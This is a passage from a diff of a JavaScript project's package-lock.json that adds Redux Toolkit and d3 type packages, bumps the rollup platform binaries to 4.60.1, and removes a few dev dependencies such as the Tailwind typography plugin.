-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
     "node_modules/@radix-ui/react-tooltip": {
       "version": "1.1.5",
       "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.1.5.tgz",
@@ -4905,6 +4115,42 @@
       "integrity": "sha512-A9+lCBZoaMJlVKcRBz2YByCG+Cp2t6nAnMnNba+XiWxnj6r4JUFqfsgwocMBZU9LPtdxC6wB56ySYpc7LQIoJg==",
       "license": "MIT"
     },
+    "node_modules/@reduxjs/toolkit": {
+      "version": "2.11.2",
+      "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.11.2.tgz",
+      "integrity": "sha512-Kd6kAHTA6/nUpp8mySPqj3en3dm0tdMIgbttnQ1xFMVpufoj+ADi8pXLBsd4xzTRHQa7t/Jv8W5UnCuW4kuWMQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@standard-schema/spec": "^1.0.0",
+        "@standard-schema/utils": "^0.3.0",
+        "immer": "^11.0.0",
+        "redux": "^5.0.1",
+        "redux-thunk": "^3.1.0",
+        "reselect": "^5.1.0"
+      },
+      "peerDependencies": {
+        "react": "^16.9.0 || ^17.0.0 || ^18 || ^19",
+        "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0"
+      },
+      "peerDependenciesMeta": {
+        "react": {
+          "optional": true
+        },
+        "react-redux": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@reduxjs/toolkit/node_modules/immer": {
+      "version": "11.1.4",
+      "resolved": "https://registry.npmjs.org/immer/-/immer-11.1.4.tgz",
+      "integrity": "sha512-XREFCPo6ksxVzP4E0ekD5aMdf8WMwmdNaz6vuvxgI40UaEiu6q3p8X52aU6GdyvLY3XXX/8R7JOTXStz/nBbRw==",
+      "license": "MIT",
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/immer"
+      }
+    },
     "node_modules/@rollup/plugin-inject": {
       "version": "5.0.5",
       "resolved": "https://registry.npmjs.org/@rollup/plugin-inject/-/plugin-inject-5.0.5.tgz",
@@ -4970,9 +4216,9 @@
       }
     },
     "node_modules/@rollup/rollup-android-arm-eabi": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.52.5.tgz",
-      "integrity": "sha512-8c1vW4ocv3UOMp9K+gToY5zL2XiiVw3k7f1ksf4yO1FlDFQ1C2u72iACFnSOceJFsWskc2WZNqeRhFRPzv+wtQ==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.1.tgz",
+      "integrity": "sha512-d6FinEBLdIiK+1uACUttJKfgZREXrF0Qc2SmLII7W2AD8FfiZ9Wjd+rD/iRuf5s5dWrr1GgwXCvPqOuDquOowA==",
       "cpu": [
         "arm"
       ],
@@ -4984,9 +4230,9 @@
       ]
     },
     "node_modules/@rollup/rollup-android-arm64": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.52.5.tgz",
-      "integrity": "sha512-mQGfsIEFcu21mvqkEKKu2dYmtuSZOBMmAl5CFlPGLY94Vlcm+zWApK7F/eocsNzp8tKmbeBP8yXyAbx0XHsFNA==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.60.1.tgz",
+      "integrity": "sha512-YjG/EwIDvvYI1YvYbHvDz/BYHtkY4ygUIXHnTdLhG+hKIQFBiosfWiACWortsKPKU/+dUwQQCKQM3qrDe8c9BA==",
       "cpu": [
         "arm64"
       ],
@@ -4998,9 +4244,9 @@
       ]
     },
     "node_modules/@rollup/rollup-darwin-arm64": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.52.5.tgz",
-      "integrity": "sha512-takF3CR71mCAGA+v794QUZ0b6ZSrgJkArC+gUiG6LB6TQty9T0Mqh3m2ImRBOxS2IeYBo4lKWIieSvnEk2OQWA==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.60.1.tgz",
+      "integrity": "sha512-mjCpF7GmkRtSJwon+Rq1N8+pI+8l7w5g9Z3vWj4T7abguC4Czwi3Yu/pFaLvA3TTeMVjnu3ctigusqWUfjZzvw==",
       "cpu": [
         "arm64"
       ],
@@ -5012,9 +4258,9 @@
       ]
     },
     "node_modules/@rollup/rollup-darwin-x64": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.52.5.tgz",
-      "integrity": "sha512-W901Pla8Ya95WpxDn//VF9K9u2JbocwV/v75TE0YIHNTbhqUTv9w4VuQ9MaWlNOkkEfFwkdNhXgcLqPSmHy0fA==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.60.1.tgz",
+      "integrity": "sha512-haZ7hJ1JT4e9hqkoT9R/19XW2QKqjfJVv+i5AGg57S+nLk9lQnJ1F/eZloRO3o9Scy9CM3wQ9l+dkXtcBgN5Ew==",
       "cpu": [
         "x64"
       ],
@@ -5026,9 +4272,9 @@
       ]
     },
     "node_modules/@rollup/rollup-freebsd-arm64": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.52.5.tgz",
-      "integrity": "sha512-QofO7i7JycsYOWxe0GFqhLmF6l1TqBswJMvICnRUjqCx8b47MTo46W8AoeQwiokAx3zVryVnxtBMcGcnX12LvA==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.60.1.tgz",
+      "integrity": "sha512-czw90wpQq3ZsAVBlinZjAYTKduOjTywlG7fEeWKUA7oCmpA8xdTkxZZlwNJKWqILlq0wehoZcJYfBvOyhPTQ6w==",
       "cpu": [
         "arm64"
       ],
@@ -5040,9 +4286,9 @@
       ]
     },
     "node_modules/@rollup/rollup-freebsd-x64": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.52.5.tgz",
-      "integrity": "sha512-jr21b/99ew8ujZubPo9skbrItHEIE50WdV86cdSoRkKtmWa+DDr6fu2c/xyRT0F/WazZpam6kk7IHBerSL7LDQ==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.60.1.tgz",
+      "integrity": "sha512-KVB2rqsxTHuBtfOeySEyzEOB7ltlB/ux38iu2rBQzkjbwRVlkhAGIEDiiYnO2kFOkJp+Z7pUXKyrRRFuFUKt+g==",
       "cpu": [
         "x64"
       ],
@@ -5054,9 +4300,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.52.5.tgz",
-      "integrity": "sha512-PsNAbcyv9CcecAUagQefwX8fQn9LQ4nZkpDboBOttmyffnInRy8R8dSg6hxxl2Re5QhHBf6FYIDhIj5v982ATQ==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.60.1.tgz",
+      "integrity": "sha512-L+34Qqil+v5uC0zEubW7uByo78WOCIrBvci69E7sFASRl0X7b/MB6Cqd1lky/CtcSVTydWa2WZwFuWexjS5o6g==",
       "cpu": [
         "arm"
       ],
@@ -5068,9 +4314,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-arm-musleabihf": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.52.5.tgz",
-      "integrity": "sha512-Fw4tysRutyQc/wwkmcyoqFtJhh0u31K+Q6jYjeicsGJJ7bbEq8LwPWV/w0cnzOqR2m694/Af6hpFayLJZkG2VQ==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.60.1.tgz",
+      "integrity": "sha512-n83O8rt4v34hgFzlkb1ycniJh7IR5RCIqt6mz1VRJD6pmhRi0CXdmfnLu9dIUS6buzh60IvACM842Ffb3xd6Gg==",
       "cpu": [
         "arm"
       ],
@@ -5082,9 +4328,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-arm64-gnu": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.52.5.tgz",
-      "integrity": "sha512-a+3wVnAYdQClOTlyapKmyI6BLPAFYs0JM8HRpgYZQO02rMR09ZcV9LbQB+NL6sljzG38869YqThrRnfPMCDtZg==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.60.1.tgz",
+      "integrity": "sha512-Nql7sTeAzhTAja3QXeAI48+/+GjBJ+QmAH13snn0AJSNL50JsDqotyudHyMbO2RbJkskbMbFJfIJKWA6R1LCJQ==",
       "cpu": [
         "arm64"
       ],
@@ -5096,9 +4342,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-arm64-musl": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.52.5.tgz",
-      "integrity": "sha512-AvttBOMwO9Pcuuf7m9PkC1PUIKsfaAJ4AYhy944qeTJgQOqJYJ9oVl2nYgY7Rk0mkbsuOpCAYSs6wLYB2Xiw0Q==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.60.1.tgz",
+      "integrity": "sha512-+pUymDhd0ys9GcKZPPWlFiZ67sTWV5UU6zOJat02M1+PiuSGDziyRuI/pPue3hoUwm2uGfxdL+trT6Z9rxnlMA==",
       "cpu": [
         "arm64"
       ],
@@ -5110,9 +4356,23 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-loong64-gnu": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.52.5.tgz",
-      "integrity": "sha512-DkDk8pmXQV2wVrF6oq5tONK6UHLz/XcEVow4JTTerdeV1uqPeHxwcg7aFsfnSm9L+OO8WJsWotKM2JJPMWrQtA==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.60.1.tgz",
+      "integrity": "sha512-VSvgvQeIcsEvY4bKDHEDWcpW4Yw7BtlKG1GUT4FzBUlEKQK0rWHYBqQt6Fm2taXS+1bXvJT6kICu5ZwqKCnvlQ==",
+      "cpu": [
+        "loong64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-loong64-musl": {
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.60.1.tgz",
+      "integrity": "sha512-4LqhUomJqwe641gsPp6xLfhqWMbQV04KtPp7/dIp0nzPxAkNY1AbwL5W0MQpcalLYk07vaW9Kp1PBhdpZYYcEw==",
       "cpu": [
         "loong64"
       ],
@@ -5124,9 +4384,23 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-ppc64-gnu": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.52.5.tgz",
-      "integrity": "sha512-W/b9ZN/U9+hPQVvlGwjzi+Wy4xdoH2I8EjaCkMvzpI7wJUs8sWJ03Rq96jRnHkSrcHTpQe8h5Tg3ZzUPGauvAw==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.60.1.tgz",
+      "integrity": "sha512-tLQQ9aPvkBxOc/EUT6j3pyeMD6Hb8QF2BTBnCQWP/uu1lhc9AIrIjKnLYMEroIz/JvtGYgI9dF3AxHZNaEH0rw==",
+      "cpu": [
+        "ppc64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-ppc64-musl": {
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.60.1.tgz",
+      "integrity": "sha512-RMxFhJwc9fSXP6PqmAz4cbv3kAyvD1etJFjTx4ONqFP9DkTkXsAMU4v3Vyc5BgzC+anz7nS/9tp4obsKfqkDHg==",
       "cpu": [
         "ppc64"
       ],
@@ -5138,9 +4412,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-riscv64-gnu": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.52.5.tgz",
-      "integrity": "sha512-sjQLr9BW7R/ZiXnQiWPkErNfLMkkWIoCz7YMn27HldKsADEKa5WYdobaa1hmN6slu9oWQbB6/jFpJ+P2IkVrmw==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.60.1.tgz",
+      "integrity": "sha512-QKgFl+Yc1eEk6MmOBfRHYF6lTxiiiV3/z/BRrbSiW2I7AFTXoBFvdMEyglohPj//2mZS4hDOqeB0H1ACh3sBbg==",
       "cpu": [
         "riscv64"
       ],
@@ -5152,9 +4426,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-riscv64-musl": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.52.5.tgz",
-      "integrity": "sha512-hq3jU/kGyjXWTvAh2awn8oHroCbrPm8JqM7RUpKjalIRWWXE01CQOf/tUNWNHjmbMHg/hmNCwc/Pz3k1T/j/Lg==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.60.1.tgz",
+      "integrity": "sha512-RAjXjP/8c6ZtzatZcA1RaQr6O1TRhzC+adn8YZDnChliZHviqIjmvFwHcxi4JKPSDAt6Uhf/7vqcBzQJy0PDJg==",
       "cpu": [
         "riscv64"
       ],
@@ -5166,9 +4440,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-s390x-gnu": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.52.5.tgz",
-      "integrity": "sha512-gn8kHOrku8D4NGHMK1Y7NA7INQTRdVOntt1OCYypZPRt6skGbddska44K8iocdpxHTMMNui5oH4elPH4QOLrFQ==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.60.1.tgz",
+      "integrity": "sha512-wcuocpaOlaL1COBYiA89O6yfjlp3RwKDeTIA0hM7OpmhR1Bjo9j31G1uQVpDlTvwxGn2nQs65fBFL5UFd76FcQ==",
       "cpu": [
         "s390x"
       ],
@@ -5180,9 +4454,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-x64-gnu": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.52.5.tgz",
-      "integrity": "sha512-hXGLYpdhiNElzN770+H2nlx+jRog8TyynpTVzdlc6bndktjKWyZyiCsuDAlpd+j+W+WNqfcyAWz9HxxIGfZm1Q==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.60.1.tgz",
+      "integrity": "sha512-77PpsFQUCOiZR9+LQEFg9GClyfkNXj1MP6wRnzYs0EeWbPcHs02AXu4xuUbM1zhwn3wqaizle3AEYg5aeoohhg==",
       "cpu": [
         "x64"
       ],
@@ -5194,9 +4468,9 @@
       ]
     },
     "node_modules/@rollup/rollup-linux-x64-musl": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.52.5.tgz",
-      "integrity": "sha512-arCGIcuNKjBoKAXD+y7XomR9gY6Mw7HnFBv5Rw7wQRvwYLR7gBAgV7Mb2QTyjXfTveBNFAtPt46/36vV9STLNg==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.60.1.tgz",
+      "integrity": "sha512-5cIATbk5vynAjqqmyBjlciMJl1+R/CwX9oLk/EyiFXDWd95KpHdrOJT//rnUl4cUcskrd0jCCw3wpZnhIHdD9w==",
       "cpu": [
         "x64"
       ],
@@ -5207,10 +4481,24 @@
         "linux"
       ]
     },
+    "node_modules/@rollup/rollup-openbsd-x64": {
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.60.1.tgz",
+      "integrity": "sha512-cl0w09WsCi17mcmWqqglez9Gk8isgeWvoUZ3WiJFYSR3zjBQc2J5/ihSjpl+VLjPqjQ/1hJRcqBfLjssREQILw==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ]
+    },
     "node_modules/@rollup/rollup-openharmony-arm64": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.52.5.tgz",
-      "integrity": "sha512-QoFqB6+/9Rly/RiPjaomPLmR/13cgkIGfA40LHly9zcH1S0bN2HVFYk3a1eAyHQyjs3ZJYlXvIGtcCs5tko9Cw==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.60.1.tgz",
+      "integrity": "sha512-4Cv23ZrONRbNtbZa37mLSueXUCtN7MXccChtKpUnQNgF010rjrjfHx3QxkS2PI7LqGT5xXyYs1a7LbzAwT0iCA==",
       "cpu": [
         "arm64"
       ],
@@ -5222,9 +4510,9 @@
       ]
     },
     "node_modules/@rollup/rollup-win32-arm64-msvc": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.52.5.tgz",
-      "integrity": "sha512-w0cDWVR6MlTstla1cIfOGyl8+qb93FlAVutcor14Gf5Md5ap5ySfQ7R9S/NjNaMLSFdUnKGEasmVnu3lCMqB7w==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.60.1.tgz",
+      "integrity": "sha512-i1okWYkA4FJICtr7KpYzFpRTHgy5jdDbZiWfvny21iIKky5YExiDXP+zbXzm3dUcFpkEeYNHgQ5fuG236JPq0g==",
       "cpu": [
         "arm64"
       ],
@@ -5236,9 +4524,9 @@
       ]
     },
     "node_modules/@rollup/rollup-win32-ia32-msvc": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.52.5.tgz",
-      "integrity": "sha512-Aufdpzp7DpOTULJCuvzqcItSGDH73pF3ko/f+ckJhxQyHtp67rHw3HMNxoIdDMUITJESNE6a8uh4Lo4SLouOUg==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.60.1.tgz",
+      "integrity": "sha512-u09m3CuwLzShA0EYKMNiFgcjjzwqtUMLmuCJLeZWjjOYA3IT2Di09KaxGBTP9xVztWyIWjVdsB2E9goMjZvTQg==",
       "cpu": [
         "ia32"
       ],
@@ -5250,9 +4538,9 @@
       ]
     },
     "node_modules/@rollup/rollup-win32-x64-gnu": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.52.5.tgz",
-      "integrity": "sha512-UGBUGPFp1vkj6p8wCRraqNhqwX/4kNQPS57BCFc8wYh0g94iVIW33wJtQAx3G7vrjjNtRaxiMUylM0ktp/TRSQ==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.60.1.tgz",
+      "integrity": "sha512-k+600V9Zl1CM7eZxJgMyTUzmrmhB/0XZnF4pRypKAlAgxmedUA+1v9R+XOFv56W4SlHEzfeMtzujLJD22Uz5zg==",
       "cpu": [
         "x64"
       ],
@@ -5264,9 +4552,9 @@
       ]
     },
     "node_modules/@rollup/rollup-win32-x64-msvc": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.52.5.tgz",
-      "integrity": "sha512-TAcgQh2sSkykPRWLrdyy2AiceMckNf5loITqXxFI5VuQjS5tSuw3WlwdN8qv8vzjLAUTvYaH/mVjSFpbkFbpTg==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.60.1.tgz",
+      "integrity": "sha512-lWMnixq/QzxyhTV6NjQJ4SFo1J6PvOX8vUx5Wb4bBPsEb+8xZ89Bz6kOXpfXj9ak9AHTQVQzlgzBEc1SyM27xQ==",
       "cpu": [
         "x64"
       ],
@@ -5345,6 +4633,18 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/@standard-schema/spec": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz",
+      "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==",
+      "license": "MIT"
+    },
+    "node_modules/@standard-schema/utils": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz",
+      "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==",
+      "license": "MIT"
+    },
     "node_modules/@storybook/addon-a11y": {
       "version": "9.1.13",
       "resolved": "https://registry.npmjs.org/@storybook/addon-a11y/-/addon-a11y-9.1.13.tgz",
@@ -6176,36 +5476,6 @@
         "tailwindcss": "4.1.14"
       }
     },
-    "node_modules/@tailwindcss/typography": {
-      "version": "0.5.16",
-      "resolved": "https://registry.npmjs.org/@tailwindcss/typography/-/typography-0.5.16.tgz",
-      "integrity": "sha512-0wDLwCVF5V3x3b1SGXPCDcdsbDHMBe+lkFzBRaHeLvNi+nrrnZ1lA18u+OTWO8iSWU2GxUOCvlXtDuqftc1oiA==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "lodash.castarray": "^4.4.0",
-        "lodash.isplainobject": "^4.0.6",
-        "lodash.merge": "^4.6.2",
-        "postcss-selector-parser": "6.0.10"
-      },
-      "peerDependencies": {
-        "tailwindcss": ">=3.0.0 || insiders || >=4.0.0-alpha.20 || >=4.0.0-beta.1"
-      }
-    },
-    "node_modules/@tailwindcss/typography/node_modules/postcss-selector-parser": {
-      "version": "6.0.10",
-      "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz",
-      "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "cssesc": "^3.0.0",
-        "util-deprecate": "^1.0.2"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/@tanstack/eslint-plugin-router": {
       "version": "1.120.17",
       "resolved": "https://registry.npmjs.org/@tanstack/eslint-plugin-router/-/eslint-plugin-router-1.120.17.tgz",
@@ -6341,29 +5611,6 @@
         "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
       }
     },
-    "node_modules/@tanstack/router-devtools": {
-      "version": "1.87.9",
-      "resolved": "https://registry.npmjs.org/@tanstack/router-devtools/-/router-devtools-1.87.9.tgz",
-      "integrity": "sha512-8IY/j8nRqpHZiyC8YgtNZ0oTCxig4TpbpebgOh1L6Vf/Y92T0zSsXX+qFXiJZXTkfhSkuaUI4BSAdQgyphmbMg==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "clsx": "^2.1.1",
-        "goober": "^2.1.16"
-      },
-      "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "type": "github",
-        "url": "https://github.com/sponsors/tannerlinsley"
-      },
-      "peerDependencies": {
-        "@tanstack/react-router": "^1.87.9",
-        "react": ">=18",
-        "react-dom": ">=18"
-      }
-    },
     "node_modules/@tanstack/router-generator": {
       "version": "1.95.1",
       "resolved": "https://registry.npmjs.org/@tanstack/router-generator/-/router-generator-1.95.1.tgz",
@@ -6581,13 +5828,6 @@
         "@testing-library/dom": ">=7.21.4"
       }
     },
-    "node_modules/@types/argon2-browser": {
-      "version": "1.18.4",
-      "resolved": "https://registry.npmjs.org/@types/argon2-browser/-/argon2-browser-1.18.4.tgz",
-      "integrity": "sha512-K/PHAEKzdCY4mCRhgUTBcuTxeaJyLoPcd5pJ1UFSTb/FAPjj3TCK4EM/DvNmVtDzkQBMD5peJjtch3kVQDf4YQ==",
-      "dev": true,
-      "license": "MIT"
-    },
     "node_modules/@types/aria-query": {
       "version": "5.0.4",
       "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz",
@@ -6653,6 +5893,12 @@
         "assertion-error": "^2.0.1"
       }
     },
+    "node_modules/@types/d3-array": {
+      "version": "3.2.2",
+      "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz",
+      "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==",
+      "license": "MIT"
+    },
     "node_modules/@types/d3-color": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz",
@@ -6668,6 +5914,12 @@
         "@types/d3-selection": "*"
       }
     },
+    "node_modules/@types/d3-ease": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz",
+      "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==",
+      "license": "MIT"
+    },
     "node_modules/@types/d3-interpolate": {
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz",
@@ -6677,12 +5929,48 @@
         "@types/d3-color": "*"
       }
     },
+    "node_modules/@types/d3-path": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz",
+      "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==",
+      "license": "MIT"
+    },
+    "node_modules/@types/d3-scale": {
+      "version": "4.0.9",
+      "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz",
+      "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-time": "*"
+      }
+    },
     "node_modules/@types/d3-selection": {
       "version": "3.0.11",
       "resolved": "https://registry.npmjs.org/@types/d3-selection/-/d3-selection-3.0.11.tgz",
       "integrity": "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w==",
       "license": "MIT"
     },
+    "node_modules/@types/d3-shape": {
+      "version": "3.1.8",
+      "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.8.tgz",
+      "integrity": "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-path": "*"
+      }
+    },
